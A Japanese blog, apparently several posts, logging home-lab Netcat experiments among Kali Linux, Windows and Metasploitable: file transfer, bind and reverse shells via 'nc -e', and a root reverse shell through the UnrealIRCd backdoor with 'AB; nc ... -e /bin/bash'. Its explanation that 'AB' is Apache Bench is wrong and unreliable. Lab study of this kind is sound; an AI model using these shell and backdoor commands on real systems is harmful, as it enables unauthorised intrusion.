Netcat による各種通信

Netcat による各種通信

まず Windows10 に Netcat をインストール

インストール方法がわからなかったので
HOW TO INSTALL AND USE NETCAT TOOL

の動画を参考に

https://eternallybored.org/misc/netcat/
からダウンロード

保存したら
右クリック > Extra here
で展開

netcat-1.11
ができるので
これをコピーして

PC > ローカルディスクC > Windows
へ貼り付け

次にローカルディスクCに
Nc フォルダを作成

nctest というテキストファイルを作成し
中身を
Netcat test
として保存

windowsキー + r で
ファイル名を指定して実行を開き

cmd
を入力して

shift + ctrl + Enter
で管理者権限で
コマンドプロンプトを起動

コマンドプロンプトの起動については
Windows 10でコマンドプロンプトを素早く起動する方法

を参考に

cd ..
cd netcat-1.11

でディレクトリを移動

コマンドプロンプトで

nc -lvp 4444 < "C:\\Nc\nctest.txt

を起動

アクセスを許可するをクリック

次に KaliLinux を立ち上げ

nc 192.168.1.166 4444 > ncout

を実行

Windows で

Warning: forward host lookup failed for kali: h_errno 11001: HOST_NOT_FOUND
connect to [192.168.1.166] from kali [192.168.1.134] 47932: HOST_NOT_FOUND

と表示され

これで
KaliLinux にファイルが転送される

ctrl +alt +t で新しい端末を開き

ls ncout 
cat ncout 

でファイルの存在と中身の確認ができる

nc の通信を終了するには
ctrl + c

またテキストファイル以外にバイナリファイルを転送することもできる

今回は KaliLinux の
/bin/sh を windows10 に転送

KaliLinux で

nc -lvp 4444 < /bin/sh

として

Windows10 で
windowsキー + r で
ファイル名を指定して実行を開き

cmd
を入力して

shift + ctrl + Enter
で管理者権限で
コマンドプロンプトを起動

cd ..
cd netcat-1.11
nc 192.168.1.134 4444 > bin_bak

とすると

netcat-1.11
の中に bin_bak が作成される

なお Windows10 のリアルタイム保護により
nc が削除されることがあるため
このときには
nc を再度コピペして行う

次にファイルのリアルタイム監視

nc -lp 9999 >> log.txt

を実行し
TCP サーバーとして動作

-l オプションでリッスンモード
-p オプションはポートの指定

今回は9999番ポートで待受

次に
ctrl + alt + t で新しい端末を起動

tail -f log.txt 

とすると
log.txt の内容をリアルタイム監視できる

tail コマンドについては
tailコマンドについて詳しくまとめました 【Linuxコマンド集】

を参考に

-f オプションでファイルのリアルタイム監視ができる

次にコマンドの記録を行ってみる

ctrl + alt + t で端末を新しい端末を起動

nc コマンドを実行するとき q オプションで
指定した秒数待機してから終了する
今回は1秒

nc コマンドの q オプションについては
マニュアルページセク ション 1: ユーザーコマンド

を参考に

echo "date" | nc -q 1 192.168.1.134 9999

を実行すると
date

log.txt に書き込まれる

nc が終了してしまうので
再度

nc -lp 9999 >> log.txt

を実行し
TCP サーバーとして動作

今度は

date | nc -q 1 192.168.1.134 9999

を実行

すると
Sun 22 Mar 2020 12:57:06 AM JST
というように
date コマンドの結果が
log.txt
ファイルに追記されるのがわかる

Unreal IRC バックドアへ接続 その2

Unreal IRC バックドアへ接続 その2

Unreal IRC のバックドアに接続するのに
今回は Netcat で行う

Metasploitable に

nmap -sV -O -p- 192.168.1.137

を実行し
ポートスキャンすると

6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd

の結果から
IRCが稼働していることがわかる

ctrl + alt + t で端末を起動

nc -l -v -p 4444


4444ポートで待ち状態にする

使用しているオプションについては
-l
リッスンモード指定になり
インバウンド接続の待受

-v
接続状態に関する情報を表示

-p
ポートの指定

nc コマンドのオプションについては
オンラインソフトを使え! 「第12回 Netcat」

を参考に

オプション一覧について見たいのなら
ncコマンドの使い方

を参考に
ただし、こっちは英語

次に
ctrl + alt + t で端末をもうひとつ起動

nc 192.168.1.137 6667

で接続

ここで指定するIPは Metasploitable のもの

今回の場合なら
Metasploitable
192.168.1.137

KaliLinux
192.168.1.134

となっている

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Found your hostname (cached)

と表示されるので

AB; nc 192.168.1.134 4444 -e /bin/bash

を実行

AB は ab コマンドで
Apacheで標準に付いている
WEBサーバの性能を計測するためのコマンド

オプションなどについては
Apache Benchでサクッと性能テスト

を参考に

これを実行するとリバースシェルが作成され

最初に

nc -l -v -p 4444

を実行した端末側で

192.168.1.137: inverse host lookup failed: Unknown host
connect to [192.168.1.134] from (UNKNOWN) [192.168.1.137] 60708

の後に root 権限で任意のコマンドが実行できるようになり
リバースシェルを通じ
Metasploitable で実行される

例えば
id コマンドを実行すると

uid=0(root) gid=0(root)

という結果が表示される

Netcat 接続実験 その2

Netcat 接続実験 その2

Wndows7 と KaliLinux でリバースシェルの実験

KaliLinux で
ctrl + Alt +t で端末を起動

nc -lvp 5555


Netcat を待受状態で起動

また、別の端末を起動し

ifconfig

でIPアドレスを調べておく
inet と書かれている部分がIPアドレス

次に Windows7 で Command Prompt を起動し

cd C:Work
nc.exe 192.168.1.134 5555 -e cmd.exe

で nc で KaliLinux へ接続

すると KaliLinux 側の端末に Windows 7 のCommand Prompt が
表示される

これで

ipconfig

を実行すると Windows 7 のIPアドレスが表示される

なお、Windows7 側のCommand Prompt なので
他のコマンドなども使うことができる

接続終了するには
KaliLinux 側で exit を実行すればOK

Netcat 接続実験

Netcat 接続実験

Windows 7 試用版で
Command Prompt を開き

cd C:Work
nc.exe -lvp 5555

で netcat を起動

これに kaliLinux で接続できるか実験

本来はホストオンリーアダプタなどで実験するけど
設定がうまくできなかったので
ブリッジ接続で実験

IPは変動するので
Windows 側は

ipconfig 

でIPアドレスを把握

IPv4 Address の部分がIPアドレスになる
今回は
192.168.1.174

次に VirtualBox で KaliLinux を起動

ctrl + Alt + t で端末を起動し

nc 192.168.1.174 5555

で接続

すると
Windows 7 側で

netstat -an

を実行すると
5555ポートが ESTABLISHED になっていればOK

この状態で KaliLinux で hello と入力すると
Windows 側でも hello と表示される

また Windows 側で入力した
windows というメッセージも KaliLinux 側で表示される

なお Netcat を終了するには
ctrl + c でどちらかが接続を停止すると終了する

これを利用すれば
KaliLinux 側から
Windows の Command Prompt を操作することが可能

この実験をするために
Windows で Netcat をサーバとして起動させる
これには
-e オプションを使う

-e オプションで実行するプログラムを指定する

nc.exe -lvp 5555 -e cmd.exe

今回は Windows のシェルの cmd.exe を実行

これで KaliLinux で

nc 192.168.1.174 5555

で接続すると
Windows の Command Prompt が操作できるようになる

試しに Windows のファイル一覧を表示する dir コマンドを実行

すると現在のディレクトリの
Windowsのファイル一覧を表示することができる

なお終了するときには
KaliLinux 側で

exit 

を実行すればOK

なお、windows 側では
前回と異なり操作している状態が表示されない

この手法がバインドシェル
ただし、これだとファイアーウォールやルーターの影響を受ける

理由は外部から内部へのアクセスを制限しているため

Windows セキュリティの実験環境構築 その2

Windows セキュリティの実験環境構築 その2

仮想マシンでセキュリティの実験をするための構築

今回は Netcat
Windows7 試用版で使うために
Netcat for Windows をダウンロード

https://joncraton.org/blog/46/netcat-for-windows/
よりダウンロード可能

Download nc111nt.zip (password:nc) – Netcat for Windows
をクリックしてダウンロード

ダウンロードしたファイルを右クリック >
Extract All …

展開先を聞かれるので
今回は新規に作業ディレクトリを作ってから行うので
Make New Folder をクリック

これで Work というディレクトリを作成しOKをクリック

Extract をクリックするとここへ展開される

展開するときにパスワードを聞かれるので
nc を入力しOKをクリック

これで展開できるので
次に Command Prompt を起動し

cd C:Work

で展開先に cd コマンドで移動

nc.exe -h

を実行するとヘルプが表示される

次にポート5555で待ち受けるサーバーにする

nc.exe -lvp 5555

を実行

オプションに関しては
使いたいときに必ず忘れる便利なコマンド「nc」
https://ltside.com/kizyo/nc.html
を参考に

今回使用したオプションは
l 待受モード
v 情報を表示
p ポートを指定

というもの

実行すると
Windows Firewall が起動するので

Ptivate networks,such as my home or work network

Publick network such as those in airports and coffee shops( not recommended because these networks othen have little or no security)
にチェックを入れ
Allow access
をクリック

状態確認をしたいので
もうひとつ Command Prompt を開き

netstat -an

を実行

これで
5555ポートがLISTEN になっていればOK

なお、
Proto がプロトコル
Local Address がIPアドレス:ポート番号
Foreign Address が接続先のアドレス
State が状態

State が LISTEN なら待受状態になっている